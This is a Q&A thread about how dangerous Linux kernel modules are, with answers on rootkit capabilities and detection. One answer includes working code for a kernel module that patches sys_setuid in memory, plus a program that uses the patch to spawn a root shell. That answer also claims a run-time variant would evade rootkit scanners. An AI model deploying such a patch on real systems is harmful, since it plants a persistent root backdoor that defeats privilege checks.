Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Linux kernel modules - security risk?

How much of a security risk are linux kernel modules? I remember reading that it was possible if someone got access, that all they had to do was load a rootkit module. Is this correct? Is there any way to protect against this?

What parts of the kernel are actually exposed through the module interface, and what functions do programmers have access to, that could be used for malicous purposes?

like image 780
Dane Edwards Avatar asked Oct 14 '09 09:10

Dane Edwards


4 Answers

What Douglas said is fully correct, Linux is monolithic and a module can do everything. This is a design choice driven mainly by Linus Thorvalds and fits in the Open Source philosophy (why restrict, it costs performance and you can see what a module does from the source - practically speaking only for real nerds :-) -).

Now maybe you have to load some so-called binary modules from 3rd parties. Even if they seem to be compiled there is usually a common object file as black box and only interfaces around it are actually compiled (like for nvidia graphic drivers I use). There is no definite answer, if you load such modules, you have to trust the vendor, if not, don't do it...

Only root can load modules that correct in theory. In practice, however no system is perfect (even Linux). From time to time there are kernel vulnerabilities that can make it possible for local users or for remote users (very rare cases) to introduce code into the kernel so they can root rights and thus can take control of your system. Having a kernel up to date is a good thing...

After precising this, let's go into the second part of the question that has not be answered so far: "what functions do programmers have access to, that could be used for malicous purposes?". Many of the things that are done for SE-Linux can also be used for malicious purposes, like:

  • Hiding information in the /proc or /sys directories, for example hiding malicious user processes so they are not displayed in tools like top, ps and so on. This includes hiding the malicious module itself so it is not listed in lsmod.
  • log and record key strokes...
  • sending data to the outside world. No kernel module needs to connect to a site and send information (excepted the network stack in the original linux code), if the code for the module does that something smells badly. If some strings are encrypted and decrypted to make some operations it smells even worse...
  • ...

The list is large, if you want more details you can have a look at Rootkit Hunter (http://www.rootkit.nl/projects/rootkit_hunter.html). It is a tool I run from time to time. It can detect the presence of some widely used rootkits. It manages a list of rootkits and googling the names will make you clear what kind of targets these beasts are following... Like Douglas said, the functions that can be used are actually all the functions available in the kernel, without restriction. So telling if a module is a bad guy or not is not an obvious thing.

like image 168
jdehaan Avatar answered Nov 08 '22 04:11

jdehaan


A kernel module is running with full kernel privileges - it can do anything the kernel can do, which is pretty much anything. A well behaved module will restrict it's actions to those functions that are exported as symbols by the kernel, but nothing actually prevents a module from calling any arbitrary function that it has the address of, or executing code that is equivalent to any existing function.

The protection is that only root can load kernel modules.

Root can make the machine to anything anyway, so the incremental risk is negligible. To clarify - loading a module might allow root to hide better, or operate an attack with less information about the system, but in principle, as root can overwrite the kernel image, and reboot the system into that image, it can achieve everything that a kernel module can do. Since /dev/kmem is generally not writable, it is likely that a user-space root process will be limited in what it can do vs. a kernel module, but a rewrite and reboot can 'fix' this.

Also there may be alternatives to altering kernel memory, e.g. if you want to hide a process, you might use a loadable module, or you might just replace ps with a trojaned version.

Similarly to hide a file, you could use a kernel module, or you might just replace ls.

like image 40
Douglas Leeder Avatar answered Nov 08 '22 03:11

Douglas Leeder


You may want to check this out Wikipedia

Saying a kernel module is dangerous, is like saying a driver on windows is dangerous. They definitely can be, but usually aren't. As Mr.Leeder, stated root can do pretty much anything, but I doubt it can call kernel api's directly, it would need to load a kernel module for that (which it obviously can).

like image 32
Josh Avatar answered Nov 08 '22 03:11

Josh


Good general level answers already. How to look at this issue at an example code level, making more clear how vulnerable Linux is if module is installed.

My example module:

    #include <linux/version.h>
    #include <linux/module.h>
    #include <linux/highmem.h>
    #include <asm/unistd.h> 
    char *p;   
    int init_module(void)   //0x0ffffffff8107f760 depends on system must be taken from the map                           
       {  pte_t *pte1;
          unsigned int dummy_but_needed;
          p=(char *)(0xffffffff8107f3a0 +0x4d); // Got from /boot System.map.xx.xx.xx  
          pte1 = lookup_address((unsigned long long)p, &dummy_but_needed);
          pte1->pte |= _PAGE_RW; //Now the code page is writable          
          *(p) = (char)0xeb;  //0xeb  is the code of the unconditional jmp- we don't care are we allowed to get rights. Previous was conditional jmp "75".
          return -1;  // Insmod complains and module disappears from the system but module did it's work already               
       }  
    MODULE_LICENSE("GPL");//We don't need cleanup_module

The test programs giving super user privileges on user level terminal :

    int main()
      {
        setuid(0);//Or use asm("mov $0,%rdi; mov $105,%rax; syscall;");
        system("/bin/bash"); //rax=system call nr and rdi=first parameter
      }

Is this a dangerous rootkit? No. To find sys_setuid address you must have root privileges already! And practically every system has this address different.

Anyway this shows how easy manipulation is. In fact it is very easy to replace used constant by dynamic (run- time) methods- not presented here. ( This would be a rootkit. I tried it and no current rootkit hunting program was capable to find it out even it existed and did took every system call.)

I tested this with Kernel 3.2 and AMD64. WON'T WORK ON OTHER HW!

(how to find the constant needed:

    xxxx:/boot$ sudo grep sys_setuid System.map-3.2.0-31-generic
    [sudo] password for xxxx: 
    ffffffff8107f3a0 T sys_setuid
    ffffffff810a23f0 T sys_setuid16

)

like image 24
SikaS Avatar answered Nov 08 '22 02:11

SikaS